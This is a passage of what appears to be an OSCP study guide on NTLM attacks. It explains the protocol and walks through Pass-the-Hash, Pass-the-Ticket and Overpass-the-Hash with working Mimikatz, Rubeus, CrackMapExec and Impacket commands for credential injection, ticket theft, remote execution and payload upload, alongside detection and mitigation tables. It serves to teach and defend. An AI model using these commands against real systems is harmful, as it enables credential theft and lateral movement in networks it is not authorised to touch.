3. NTLM Attacks
Chapter 18 | Active Directory Authentication
This topic covers the NTLM authentication protocol and the full spectrum of attacks that exploit its design weaknesses. NTLM remains one of the most frequently attacked protocols in Active Directory environments because it is still widely used as a fallback when Kerberos is unavailable, and because its challenge-response design creates several exploitable attack surfaces.
Table of Contents
- 3.1 NTLM Protocol Overview
- 3.2 Pass-the-Hash (PtH)
- 3.3 Pass-the-Ticket (PtT)
- 3.4 Overpass-the-Hash
- 3.5 NTLM Relay Attacks
- 3.6 NTLM Reflection
- 3.7 Responder Usage
- 3.8 Inveigh Usage
3.1 NTLM Protocol Overview
What is NTLM?
NTLM (NT LAN Manager) is a suite of Microsoft authentication protocols that provides challenge-response authentication. It consists of three versions:
| Version | Year Introduced | Key Characteristics |
|---|---|---|
| NTLMv1 | 1993 (Windows NT 3.1) | LM/NTLM response, weak 24-byte challenge, easily cracked |
| NTLMv2 | 1999 (Windows 2000) | NTLMv2 response, 64-byte challenge, response signing, still vulnerable to relay |
| NTLM2 Session Security | 2001 (Windows XP) | Per-session signing, rarely used in practice |
Key Point: When people say “NTLM” today, they almost always mean NTLMv2 — the version still in active use. NTLMv1 has been deprecated and disabled by default since Windows Vista/Server 2008.
Why Does NTLM Still Exist?
NTLM persists in modern environments for several reasons:
- Fallback mechanism: When Kerberos fails (e.g., cross-forest, workgroup machines, SPN misconfiguration), Windows falls back to NTLM
- Legacy applications: Many older applications and services only support NTLM authentication
- Anonymous/external access: Resources accessed by non-domain-joined machines use NTLM
- SMB file sharing: Local and workgroup file shares rely on NTLM
- Remote administration: WMI, WinRM, and certain RPC calls may use NTLM
The NTLM Authentication Handshake
NTLM uses a three-message challenge-response handshake. Understanding this flow is critical because every NTLM attack exploits one or more weaknesses in this protocol.
sequenceDiagram
participant Client
participant Attacker
participant Server
Note over Client,Server: === Normal NTLMv2 Authentication ===
Client->>Server: 1. Negotiate (NTLM Type 1)<br/>Client sends capabilities<br/>(NTLMSSP signature, flags,<br/>OS version, target name)
Server-->>Client: 2. Challenge (NTLM Type 2)<br/>Server sends 8-byte random nonce<br/>(NT Challenge + Client Challenge)
Client->>Server: 3. Authenticate (NTLM Type 3)<br/>Client computes response:<br/>LAN Manager Response (empty)<br/>NTLMv2 Response (HMAC-MD5)<br/>Username, Domain, Hostname
Server-->>Client: 4. Accept / Reject<br/>Server verifies response<br/>against stored NTLM hash
Deep Dive: How the NTLMv2 Response Is Computed
The NTLMv2 response is NOT simply the hash of the password. It uses a complex HMAC-based computation:
Step 1: Client receives 8-byte server challenge (nonce)
Step 2: Client generates client nonce (8 bytes) and timestamp
Step 3: Client builds NTProofStr = HMAC-MD5(NT-Hash, ServerChallenge + ClientBlob)
where ClientBlob = Version + Time + ClientNonce + ...
Step 4: Final Response = NTProofStr + ClientBlob
Step 5: Server independently computes the same value using the stored NTLM hash
and compares results
Why this matters for attackers:
- The server never receives the password or the raw NTLM hash over the network
- Instead, it receives a response that proves knowledge of the hash
- An attacker who captures this response can either:
- Relay it to another server (NTLM Relay attack)
- Crack it offline if they also capture the challenge (offline cracking)
- Reuse it directly if they have the hash (Pass-the-Hash)
NTLM Hash Structure
A Windows NTLM hash is a 16-byte (32-character hex) MD4 hash of the Unicode (UTF-16LE) encoding of the password:
NTLM Hash = MD4(UTF16LE(Password))
When stored in the SAM or AD database, you’ll see it as a 64-character string (LM hash + NTLM hash):
LM Hash (32 chars) : NTLM Hash (32 chars)
aad3b435b51404eeaad3b435b51404ee:d62c107dcad339b92d99393a3f57b058
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
LM hash (disabled/constant) Actual NTLM hash (this is what matters)
Note: Since Windows Vista, LM hashing is disabled by default. The LM hash field contains the constant
aad3b435b51404eeaad3b435b51404ee, which is a marker indicating LM is disabled. The NTLM hash (second half) is the only one that matters for attacks.
NTLM vs. Kerberos: Critical Differences
| Feature | NTLM | Kerberos |
|---|---|---|
| Authentication type | Challenge-response | Ticket-based |
| Mutual authentication | No (by default) | Yes |
| Replay protection | Weak (challenge-based) | Strong (timestamps + nonces) |
| Encryption | Session key derived after auth | Encrypted tickets from the start |
| Central authority | None (peer-to-peer) | KDC (AS + TGS) |
| Relay vulnerable | Yes | No (tickets are service-specific) |
| Port | Uses underlying protocol (445/SMB, 135/RPC, etc.) | 88/TCP+UDP |
| Default in AD | Fallback only | Primary |
NTLM Ports and Protocols
NTLM itself does not use a specific port. Instead, it operates over various protocols:
| Protocol | Port | NTLM Usage |
|---|---|---|
| SMB | 445/TCP | File shares, admin shares (C$, ADMIN$), IPC$ |
| RPC | 135/TCP + dynamic | DCOM, WMI, Remote Registry |
| HTTP/HTTPS | 80/443/TCP | Web applications, IIS, SharePoint |
| LDAP | 389/TCP, 636/TCP+SSL | Directory service access |
| WinRM | 5985/5986/TCP | PowerShell remoting |
| RDP | 3389/TCP | Remote Desktop (can use NTLM) |
Attack Surface Summary
Every protocol that supports NTLM authentication represents a potential attack surface:
graph TB
subgraph NTLM_Attacks["NTLM Attack Surface"]
direction TB
ROOT["NTLM Authentication"]
subgraph Hash_Attacks["Hash-Based Attacks"]
PTH["Pass-the-Hash"]
OTPH["Overpass-the-Hash"]
CRACK["Offline Hash Cracking"]
end
subgraph Relay_Attacks["Relay-Based Attacks"]
RELAY["NTLM Relay"]
REFLECT["NTLM Reflection"]
POISON["LLMNR/NBT-NS Poisoning"]
end
subgraph Ticket_Attacks["Ticket-Based Attacks"]
PTT["Pass-the-Ticket"]
end
ROOT --> PTH
ROOT --> OTPH
ROOT --> CRACK
ROOT --> RELAY
ROOT --> REFLECT
ROOT --> POISON
ROOT --> PTT
end
NTLM Security Flags (Negotiate Message)
The Type 1 (Negotiate) message contains flags that determine the authentication behavior. Understanding these flags is important for attack and defense:
| Flag | Hex Value | Description | Attack Relevance |
|---|---|---|---|
NTLMSSP_NEGOTIATE_SIGN |
0x00000010 | Enable signing (integrity) | Without signing, responses can be modified in transit |
NTLMSSP_NEGOTIATE_SEAL |
0x00000020 | Enable sealing (encryption) | Without sealing, session data is unencrypted |
NTLMSSP_NEGOTIATE_TARGET |
0x00000040 | Request target name | Helps identify the authentication target |
NTLMSSP_NEGOTIATE_128 |
0x20000000 | 128-bit encryption | Stronger session key |
NTLMSSP_NEGOTIATE_56 |
0x80000000 | 56-bit encryption | Weaker session key |
NTLMSSP_NEGOTIATE_ALWAYS_SIGN |
0x00002000 | Always sign messages | Prevents unsigned message injection |
NTLMSSP_NEGOTIATE_EXTENDED_SESS |
0x00080000 | Extended session security | Required for NTLMv2 session security |
OSCP Exam Relevance: Understanding the NTLM handshake is foundational. You won’t be asked to manually compute NTLM responses, but you must understand: (1) why Pass-the-Hash works (the hash itself is used for authentication, not just to derive a response), (2) why NTLM Relay works (no mutual authentication), and (3) when NTLM is used versus Kerberos. The handshake diagram above appears frequently in exam explanations.
3.2 Pass-the-Hash (PtH)
Vulnerability Explanation
Pass-the-Hash (PtH) is one of the most fundamental and widely used Active Directory attack techniques. It exploits the fact that NTLM authentication uses the NTLM hash itself as the cryptographic key — not the plaintext password.
How NTLM Authentication Uses the Hash
In normal NTLM authentication:
- The client receives a challenge from the server
- The client computes a response using the NTLM hash as the HMAC key
- The server independently computes the same response using the stored NTLM hash
- If the responses match, authentication succeeds
The critical insight: the hash IS the credential. You never need the plaintext password because the authentication protocol uses the hash directly.
Why Pass-the-Hash Works
graph LR
subgraph Normal["Normal Authentication"]
A["User types password"] --> B["OS computes NTLM hash"]
B --> C["Hash used to compute response"]
C --> D["Server verifies with stored hash"]
end
subgraph PtH["Pass-the-Hash"]
E["Attacker has NTLM hash"] --> F["Hash injected into session"]
F --> G["Hash used to compute response"]
G --> H["Server verifies with stored hash"]
end
D -.->|"Same result"| H
When an attacker injects the NTLM hash into their session (via Mimikatz, for example), the Windows security subsystem uses that hash exactly as it would use a hash derived from a legitimately typed password. The target server sees no difference.
What PtH Can Access
With a valid NTLM hash, an attacker can authenticate to any service that accepts NTLM:
| Protocol | Port | What You Can Do |
|---|---|---|
| SMB | 445 | Access file shares, admin shares (C$, ADMIN$, IPC$), execute commands |
| WMI | 135 + dynamic | Remote management, execute commands, enumerate systems |
| WinRM | 5985/5986 | PowerShell remoting, remote command execution |
| LDAP | 389 | Query Active Directory, modify objects (if permissions allow) |
| RPC/DCOM | 135 | Remote service management |
What PtH Cannot Do
| Limitation | Reason |
|---|---|
| Cannot authenticate to Kerberos-only services | Kerberos requires a TGT, which requires the plaintext password (or Overpass-the-Hash) |
| Cannot use RDP directly | RDP requires plaintext credentials for the credentials subsystem |
| Cannot authenticate to HTTPS sites with NTLM | Some web servers require full credential validation |
| Hash must be valid | Disabled accounts, expired accounts, or locked-out accounts won’t work |
Prerequisites
| Requirement | Details |
|---|---|
| NTLM hash | The 32-character hex NTLM hash of the target account (NOT the LM hash) |
| Network access | Reachability to target systems on relevant ports (445, 135, 389, etc.) |
| Valid account | The account must be enabled, not expired, and not locked out |
| Appropriate privileges | The hash grants access proportional to the account’s permissions |
Attack Flow
sequenceDiagram
participant Attacker
participant Target
Note over Attacker: 1. Obtain NTLM hash<br/>(via credential dumping,<br/>Responder capture, etc.)
Attacker->>Attacker: 2. Inject hash into session<br/>(Mimikatz sekurlsa::pth)
Attacker->>Target: 3. Connect via SMB/WMI/etc.<br/>(dir \\target\C$)
Target->>Target: 4. NTLM challenge-response<br/>(uses injected hash)
Target-->>Attacker: 5. Grant access<br/>(as the hashed account)
Note over Attacker: 6. Lateral movement complete
Step-by-Step Exploitation
Method 1: Mimikatz (Primary Method)
Mimikatz is the most common tool for Pass-the-Hash. The sekurlsa::pth module injects the hash directly into the LSASS security credentials.
# Step 1: Elevate privileges (required for PTH)
privilege::debug
# Step 2: Pass the Hash - spawn a new shell authenticated as the target user
sekurlsa::pth /user:Administrator /domain:OFFENSE /ntlm:d62c107dcad339b92d99393a3f57b058
# Step 3: Verify the authentication
whoami
# Expected output: offense\administrator
# Step 4: Access target resources
dir \\10.10.10.10\C$
Parameter Breakdown for sekurlsa::pth:
| Parameter | Description | Example |
|---|---|---|
/user |
Username to impersonate | /user:Administrator |
/domain |
Domain name (use . for local) |
/domain:OFFENSE or /domain:. |
/ntlm |
NTLM hash (32 hex chars) | /ntlm:d62c107dcad339b92d99393a3f57b058 |
/aes128 |
AES-128 key (alternative to /ntlm) | /aes128:... |
/aes256 |
AES-256 key (alternative to /ntlm) | /aes256:... |
/run |
Command to execute in the new session | /run:"cmd.exe" |
Note: If you omit
/run, Mimikatz spawns a newcmd.exeautomatically. The/runparameter lets you specify a different command (e.g.,powershell.exe,psexec.py, etc.).
Full hash format (LM:NTLM):
# You can also provide both LM and NTLM hashes separated by a colon
sekurlsa::pth /user:Administrator /domain:OFFENSE /ntlm:aad3b435b51404eeaad3b435b51404ee:d62c107dcad339b92d99393a3f57b058
# The LM portion (aad3b435b51404eeaad3b435b51404ee) is the "disabled" marker
# Only the NTLM portion actually matters for authentication
Method 2: CrackMapExec / NetExec (Linux-based, Network-Only)
CrackMapExec (now NetExec) performs Pass-the-Hash over the network without needing to inject into a Windows LSASS session. This is the preferred approach when attacking from Kali Linux.
# Basic SMB enumeration with hash
crackmapexec smb 10.10.10.10 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE'
# Scan an entire subnet
crackmapexec smb 10.10.10.0/24 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE'
# Execute a command via SMB
crackmapexec smb 10.10.10.10 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -x 'whoami' -d 'OFFENSE'
# Check for admin access
crackmapexec smb 10.10.10.10 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' --local-auth --shares
# Deploy and execute a payload
crackmapexec smb 10.10.10.10 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -X 'C:\path\to\payload.exe'
# NetExec (newer name for CrackMapExec)
netexec smb 10.10.10.10 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE' --shares
Parameter Breakdown:
| Parameter | Description |
|---|---|
-u |
Username (use '' for null session or the actual username) |
-H |
NTLM hash (LM:NTLM format or just NTLM) |
-d |
Domain name (omit for local authentication) |
-x |
Execute a shell command via SMB |
--local-auth |
Authenticate against local SAM instead of domain |
--shares |
Enumerate accessible SMB shares |
-X |
Upload and execute a file |
Method 3: Impacket (Python-based, Multiple Protocols)
Impacket provides multiple tools for Pass-the-Hash across different protocols. The -hashes parameter uses the format LMHASH:NTHASH (LM can be empty with just a colon).
# PsExec with hash (full interactive shell)
python3 psexec.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
# WMI execution (no file drop, stealthier)
python3 wmiexec.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
# SMBExec (uses admin share, no service creation)
python3 smbexec.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
# SAMR (enumerate local users)
python3 samrdump.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
# LSADUMP (extract secrets)
python3 lsadump.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
# RPC dump
python3 rpcdump.py -hashes :d62c107dcad339b92d99393a3f57b058 OFFENSE/Administrator@10.10.10.10
Choosing the Right Impacket Tool:
| Tool | Protocol | Best For | Detection Risk |
|---|---|---|---|
psexec.py |
SMB + RPC | Full interactive shell, file upload | Medium (creates service) |
wmiexec.py |
WMI | Stealthy command execution, no file drop | Low |
smbexec.py |
SMB | Command execution via admin share | Low-Medium |
samrdump.py |
SAMR | Enumerating local user accounts | Low |
lsadump.py |
LSARPC | Extracting LSA secrets | Medium |
Method 4: CrackMapExec for Lateral Movement Scanning
A common OSCP workflow is to use CrackMapExec to rapidly identify which machines accept your hash:
# Step 1: Scan the entire subnet for machines where the hash works
crackmapexec smb 10.10.10.0/24 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE'
# Step 2: For machines with admin access, enumerate shares
crackmapexec smb 10.10.10.50 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE' --shares --spider
# Step 3: Execute reconnaissance commands
crackmapexec smb 10.10.10.50 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE' -x 'systeminfo'
crackmapexec smb 10.10.10.50 -u 'Administrator' -H 'd62c107dcad339b92d99393a3f57b058' -d 'OFFENSE' -x 'net user /domain'
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4624 (Logon Success) with Logon Type 3 (Network) | Monitor for NTLM network logons, especially from unusual source IPs or at unusual times |
Event ID 4624 with LmPackageName = NTLM |
Specifically identifies NTLM authentication (vs. Kerberos) |
| Event ID 4625 (Logon Failure) spikes | Multiple failed NTLM attempts may indicate hash spraying |
| Sysmon Event ID 1 (Process Creation) | Mimikatz process creation (especially if spawned from unusual parent processes) |
| Sysmon Event ID 10 (Remote Thread Creation) | Mimikatz injects into LSASS via remote thread creation |
| Sysmon Event ID 25 (Process Access) | Monitor for processes opening handles to LSASS |
| BloodHound/ACL analysis | Identify accounts whose hashes would grant disproportionate access |
| Mitigation | Details |
|---|---|
| Disable NTLM via Group Policy | Configure Network security: Restrict NTLM: Audit All NTLM Inbound Traffic → then Deny All NTLM Inbound Traffic |
| Enable LSA Protection (RunAsPPL) | Prevents Mimikatz and similar tools from injecting into LSASS: HKLM\SYSTEM\CurrentControlSet\Control\LSA\RunAsPPL = 1 |
| Enable Credential Guard | Virtualizes LSASS, making credential extraction extremely difficult (requires Virtualization-Based Security) |
| Use Kerberos exclusively | Configure services to require Kerberos; block NTLM at the firewall for internal traffic |
| Restrict admin share access | Use GPO to restrict access to C$, ADMIN$, and IPC$ shares |
| Implement network segmentation | Limit lateral movement paths even if a hash is compromised |
| Deploy EDR solutions | Modern EDR tools detect Mimikatz, hash injection, and LSASS access patterns |
OSCP Exam Relevance
High Priority — Pass-the-Hash is one of the most commonly tested techniques on the OSCP exam. You will almost certainly encounter at least one scenario where:
- You dump credentials from a compromised Windows machine (finding NTLM hashes)
- You use those hashes to pivot to another machine via SMB
- You need to choose between Mimikatz (on Windows) and Impacket/CrackMapExec (from Kali)
Key exam tips:
- Always try
sekurlsa::logonpasswordsfirst on compromised Windows boxes — hashes are often in memory- When using Mimikatz PTH, remember to run
privilege::debugfirst- From Kali, Impacket’s
psexec.pyandwmiexec.pywith-hashesare your bread and butter- CrackMapExec is invaluable for quickly scanning which machines accept your hash
- The hash format for Impacket is
:NTHASH(empty LM hash, colon, then NTLM hash)
Lab Practice Suggestions
- Active Directory lab: Set up a Windows domain with multiple machines. Dump hashes from one machine using Mimikatz, then use PtH to access another machine via SMB
- Kali-only practice: Use CrackMapExec and Impacket to practice PtH from a Linux perspective (no Windows box needed)
- Hash spraying exercise: Create multiple user accounts, obtain one hash, and practice identifying which machines that hash grants access to
- Defense lab: Enable LSA Protection and Credential Guard, then attempt PtH — observe the failures and error messages
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
STATUS_ACCESS_DENIED when running Mimikatz |
Missing debug privilege | Run privilege::debug before sekurlsa::pth |
| PTH works locally but not remotely | Target requires Kerberos, not NTLM | Use Overpass-the-Hash to convert hash to Kerberos TGT |
Logon failure: the user has not been granted the requested logon type |
Account restricted for network logon | Check GPO restrictions on the target account |
CrackMapExec shows NULL SESSION access |
Null session enabled on target | Use -u '' -H '' for null session, or use actual credentials |
| Hash works on some machines but not others | Mixed authentication (some require Kerberos) | Try Overpass-the-Hash for Kerberos-requiring targets |
The target account name is invalid |
Wrong domain specification | Use /domain:. for local accounts, /domain:DOMAIN for domain accounts |
Mimikatz PTH but whoami shows wrong user |
PTH didn’t inject properly | Verify with sekurlsa::logonpasswords to see injected credentials |
3.3 Pass-the-Ticket (PtT)
Vulnerability Explanation
Pass-the-Ticket (PtT) is a technique where the attacker extracts Kerberos tickets from memory and injects them into their own session, rather than passing a hash. While technically a Kerberos-based attack, it is closely related to NTLM attacks because:
- Tickets are often obtained after NTLM-based credential dumping
- PtT is the natural follow-up when PtH fails (e.g., target requires Kerberos)
- The tools used (Mimikatz, Rubeus) overlap with NTLM attack tooling
Why Use PtT Instead of PtH?
| Scenario | PtH Works? | PtT Works? |
|---|---|---|
| Target accepts NTLM authentication | Yes | Yes |
| Target requires Kerberos (e.g., some web apps) | No | Yes |
| You have a forged ticket (Gold/Silver Ticket) | No | Yes |
| You need to access a specific service via SPN | No | Yes |
| Target has NTLM restricted via GPO | No | Yes |
Types of Kerberos Tickets
| Ticket Type | Description | What It Grants |
|---|---|---|
| TGT (Ticket Granting Ticket) | Issued by AS, encrypted with krbtgt hash | Access to request ANY service ticket in the domain |
| TGS (Ticket Granting Service / Service Ticket) | Issued by TGS for a specific service | Access to ONE specific service (e.g., CIFS, HTTP, MSSQL) |
How Tickets Are Stored
On Windows, Kerberos tickets are stored in the LsaSec protected memory section of the current logon session. They can be viewed with:
# Built-in Windows command
klist
# Shows all tickets in the current session
klist tickets
# Shows tickets in a specific session
klist sessions
Prerequisites
| Requirement | Details |
|---|---|
| Access to a session with valid tickets | Usually obtained after compromising a Windows machine |
| Administrative privileges | Required to read LSASS memory and extract tickets |
| Mimikatz or Rubeus | Tools for extraction and injection |
| Understanding of ticket format | .kirbi (Mimikatz format) or .ccache (Impacket format) |
Attack Flow
sequenceDiagram
participant Attacker
participant CompromisedBox
participant Target
Note over Attacker: 1. Compromise Windows machine<br/>(gain admin access)
Attacker->>CompromisedBox: 2. Extract tickets from LSASS<br/>(Mimikatz or Rubeus)
Note over Attacker: 3. Tickets saved as .kirbi files
Attacker->>Attacker: 4. Inject ticket into current session<br/>(ptt command)
Attacker->>Target: 5. Access target service<br/>(using injected ticket)
Target-->>Attacker: 6. Grant access as ticket owner
Step-by-Step Exploitation
Method 1: Mimikatz
# Step 1: Elevate privileges
privilege::debug
# Step 2: Export all Kerberos tickets from LSASS
sekurlsa::tickets /export
# Step 3: Review exported tickets
# Tickets are saved in the current directory as .kirbi files
# Example filenames:
# 3-40e100.kirbi (TGS ticket)
# 5-40e100.kirbi (TGT for krbtgt)
dir .\*-*.kirbi
# Step 4: List ticket details before injection
kerberos::list
# Step 5: Inject a specific ticket (Pass the Ticket)
kerberos::ptt .\5-40e100.kirbi
# Step 6: Verify the injection
klist
# You should see the injected ticket in the cache
# Step 7: Access resources using the injected ticket
dir \\target.domain.com\C$
Mimikatz Ticket Module Commands:
| Command | Description |
|---|---|
sekurlsa::tickets /export |
Export all tickets to .kirbi files |
kerberos::list |
List all tickets in current session |
kerberos::ptt <file.kirbi> |
Inject a .kirbi ticket into current session |
kerberos::purge |
Remove all tickets from current session |
kerberos::golden |
Create a forged Gold Ticket |
Method 2: Rubeus (Recommended for Kerberos Operations)
Rubeus is often preferred over Mimikatz for Kerberos-specific operations because it provides more detailed ticket information and more flexible injection options.
# Step 1: List all tickets (triage)
Rubeus.exe triage
# Output example:
# [*] Action : Collect credential kerberos credentials
# [!] *POSSIBLE CREDENTIALED USERNAMES*
# # Id Service Start Time End Time Renew Time
# -- ---- ------- ---------- -------- ----------
# 0> 9 krbtgt 8/15/2026 10:00:00 AM 8/15/2026 8:00:00 PM 8/16/2026 10:00:00 AM
# 1> 12 cifs 8/15/2026 10:05:00 AM 8/15/2026 8:00:00 PM 8/16/2026 10:05:00 AM
# Step 2: Dump a specific ticket by ID
Rubeus.exe dump /ticket:9
# Step 3: Inject the dumped ticket
Rubeus.exe ptt /ticket:9-40e100-MICROSOFT~AZURE~NET.kirbi
# Step 4: Dump all TGTs
Rubeus.exe dump /service:krbtgt
# Step 5: Dump all TGS tickets for a specific service
Rubeus.exe dump /service:cifs
# Step 6: Reinject a previously saved ticket
Rubeus.exe ptt /ticket:saved_ticket.kirbi
Rubeus Parameter Reference:
| Parameter | Description |
|---|---|
triage |
List all tickets with IDs, services, and lifetimes |
dump /ticket:<id> |
Extract a specific ticket by its ID |
dump /service:<name> |
Extract all tickets for a specific service |
ptt /ticket:<file> |
Inject a .kirbi ticket file into current session |
ptt /luid:<luid> |
Inject ticket for a specific logon session |
/service:krbtgt |
Filter for TGTs only |
/service:cifs |
Filter for SMB/CIFS tickets only |
Method 3: Converting Between Formats
Sometimes you need to convert between Mimikatz .kirbi format and Impacket .ccache format:
# Convert .kirbi to .ccache using Rubeus
Rubeus.exe ptt /ticket:ticket.kirbi /convert
# This creates a .ccache file that can be used with Impacket on Linux
# On Linux, use the .ccache file with Impacket
export KRB5CCNAME=/path/to/ticket.ccache
python3 psexec.py -k -no-pass target.domain.com
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Sysmon Event ID 10 (Remote Thread Creation) | Mimikatz injects into LSASS to read tickets |
| Sysmon Event ID 25 (Process Access) | Monitor for non-system processes accessing LSASS memory |
| Event ID 4769 (Kerberos TGS Request) | Unusual TGS requests after ticket injection |
| klist output analysis | Tickets injected via PtT may have unusual properties (wrong start times, extended lifetimes) |
| AMSI/EDR detection | Modern EDR solutions flag Rubeus and Mimikatz execution |
| Mitigation | Details |
|---|---|
| Enable LSA Protection (RunAsPPL) | Prevents ticket extraction from LSASS |
| Enable Credential Guard | Virtualizes credential storage, blocking extraction |
| Short ticket lifetimes | Reduce TGT and TGS lifetime via Group Policy to limit ticket usefulness |
| Restrict LSASS access | Use SACLs to monitor and restrict which processes can access LSASS |
| Deploy EDR solutions | Detect and block Mimikatz, Rubeus, and similar tools |
OSCP Exam Relevance
Medium-High Priority — Pass-the-Ticket is less commonly the primary attack vector on OSCP exams compared to Pass-the-Hash, but it appears in scenarios where:
- You extract tickets from a compromised box and need to use them on another
- A Gold/Silver Ticket attack requires ticket injection
- NTLM is blocked but Kerberos is available
Key exam tips:
Rubeus.exe triageis your first command after gaining admin on a Windows box — it shows all available tickets.kirbifiles from Mimikatz can be injected with eitherkerberos::ptt(Mimikatz) orRubeus.exe ptt- After injection, always verify with
klistbefore attempting access- For Linux-based attacks, convert to
.ccacheand useKRB5CCNAMEenvironment variable
Lab Practice Suggestions
- Ticket extraction and injection: Compromise a Windows machine, extract tickets with both Mimikatz and Rubeus, inject them, and verify access to shared resources
- Cross-platform ticket usage: Extract a
.kirbiticket on Windows, convert to.ccache, and use it with Impacket on Kali - TGT vs. TGS practice: Extract both TGTs and TGS tickets, observe the difference in what each can access
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
klist shows no tickets after injection |
Wrong ticket file or injection failed | Re-run kerberos::ptt and verify the file path |
| Ticket expired | Kerberos tickets have limited lifetimes | Check klist for expiration; extract fresh tickets |
Access is denied after PtT |
Ticket is for wrong service or user | Use Rubeus.exe triage to identify the correct ticket |
Rubeus triage shows no tickets |
Running in wrong logon session | Ensure you’re in an elevated session; try sekurlsa::tickets /export instead |
.kirbi file not found |
Mimikatz exports to current working directory | Check the directory Mimikatz was running in |
3.4 Overpass-the-Hash
Vulnerability Explanation
Overpass-the-Hash (also known as “Native Pass-the-Hash”) bridges the gap between NTLM hash-based attacks and Kerberos authentication. It converts an NTLM hash into a valid Kerberos TGT by leveraging the Kerberos pre-authentication mechanism.
The Core Problem It Solves
Pass-the-Hash only works against services that accept NTLM authentication. Many modern services and configurations require Kerberos. Overpass-the-Hash solves this by:
- Taking the NTLM hash you already have
- Using it to request a Kerberos TGT from the KDC
- Giving you a proper Kerberos ticket that works everywhere
How It Works Technically
The Kerberos AS-REQ (Authentication Service Request) protocol supports multiple pre-authentication encryption types. One of these types is etype 23 (RC4-HMAC), which uses the user’s NTLM hash as the encryption key:
sequenceDiagram
participant Attacker
participant KDC
Note over Attacker: 1. Attacker has NTLM hash<br/>of target account
Attacker->>KDC: 2. AS-REQ with etype 23 (RC4)<br/>Timestamp encrypted with NTLM hash
KDC->>KDC: 3. KDC decrypts timestamp<br/>using stored NTLM hash
KDC-->>Attacker: 4. AS-REP with TGT<br/>(encrypted with krbtgt hash)
Note over Attacker: 5. TGT injected into session<br/>Full Kerberos access achieved
Step-by-step technical flow:
- Attacker constructs AS-REQ: The attacker builds a Kerberos AS-REQ message, encrypting a timestamp with the NTLM hash using RC4-HMAC (etype 23)
- KDC processes the request: The KDC retrieves the user’s NTLM hash from AD and uses it to decrypt the timestamp
- Timestamp validation: If the timestamp is valid (within the allowed skew, typically 5 minutes), the KDC considers the user authenticated
- TGT issuance: The KDC issues a TGT encrypted with the krbtgt account’s hash
- Session injection: The TGT is injected into the attacker’s session, enabling full Kerberos authentication
Why “Overpass”?
The name “Overpass” reflects that this technique passes over the NTLM layer and converts the hash into a Kerberos ticket — effectively upgrading from NTLM to Kerberos authentication.
Prerequisites
| Requirement | Details |
|---|---|
| NTLM hash | The 32-character hex NTLM hash of the target account |
| Access to a Windows machine | Needed for ticket injection (Mimikatz/Rubeus run on Windows) |
| Network access to KDC | Must be able to reach the Domain Controller on port 88 |
| Valid account | The account must be enabled and not locked out |
| RC4/RC4-HMAC support | The account must support etype 23 (RC4) — disabled on some hardened domains |
Attack Flow
graph TB
subgraph Phase1["Phase 1: Obtain Hash"]
A["Dump NTLM hash from<br/>compromised machine"]
end
subgraph Phase2["Phase 2: Convert to TGT"]
B["Use Mimikatz kerberos::ask<br/>or Rubeus asktgt"]
C["KDC issues TGT<br/>(AS-REQ/AS-REP)"]
end
subgraph Phase3["Phase 3: Use Kerberos"]
D["TGT injected into session"]
E["Access Kerberos-only services"]
F["Lateral movement via<br/>Kerberos authentication"]
end
A --> B --> C --> D --> E --> F
Step-by-Step Exploitation
Method 1: Mimikatz
# Step 1: Elevate privileges
privilege::debug
# Step 2: Request a TGT using the NTLM hash
# The /rc4 parameter takes the NTLM hash
kerberos::ask /user:Administrator /domain:OFFENSE /rc4:d62c107dcad339b92d99393a3f57b058
# Step 3: Verify the TGT was created and injected
klist
# You should see a TGT for krbtgt/OFFENSE@OFFENSE in the cache
# Step 4: Now use Kerberos authentication to access resources
dir \\target.domain.com\C$
# Alternative: Request TGT and save as .kirbi file
kerberos::ask /user:Administrator /domain:OFFENSE /rc4:d62c107dcad339b92d99393a3f57b058 /ptt
# /ptt automatically injects the ticket into the current session
Parameter Breakdown for kerberos::ask:
| Parameter | Description | Example |
|---|---|---|
/user |
Username for the TGT request | /user:Administrator |
/domain |
Domain name | /domain:OFFENSE |
/rc4 |
NTLM hash (RC4-HMAC etype 23) | /rc4:d62c107dcad339b92d99393a3f57b058 |
/aes128 |
AES-128 key (if available) | /aes128:... |
/aes256 |
AES-256 key (if available) | /aes256:... |
/ptt |
Automatically inject ticket into session | /ptt |
Method 2: Rubeus (Preferred Method)
Rubeus is often preferred for Overpass-the-Hash because it provides better output and the /ptt flag for automatic injection.
# Request TGT using NTLM hash (RC4) and auto-inject
Rubeus.exe asktgt /user:Administrator /rc4:d62c107dcad339b92d99393a3f57b058 /domain:OFFENSE /ptt
# Output example:
# [*] Asking for ticket to: krbtgt/OFFENSE@OFFENSE
# [*] Using rc4 hash: d62c107dcad339b92d99393a3f57b058
# [*] Successfully requested TGT
# [*] Ticket injected into current session
# Verify injection
klist
# Access Kerberos-protected resources
dir \\dc01.offense.local\C$
# Request TGT and save to file (without auto-injection)
Rubeus.exe asktgt /user:Administrator /rc4:d62c107dcad339b92d99393a3f57b058 /domain:OFFENSE /outfile:tgt.kirbi
# Later, inject the saved ticket
Rubeus.exe ptt /ticket:tgt.kirbi
Rubeus asktgt Parameters:
| Parameter | Description |
|---|---|
/user |
Username for TGT request |
/rc4 |
NTLM hash for RC4-HMAC pre-auth |
/aes128 |
AES-128 key for pre-auth |
/aes256 |
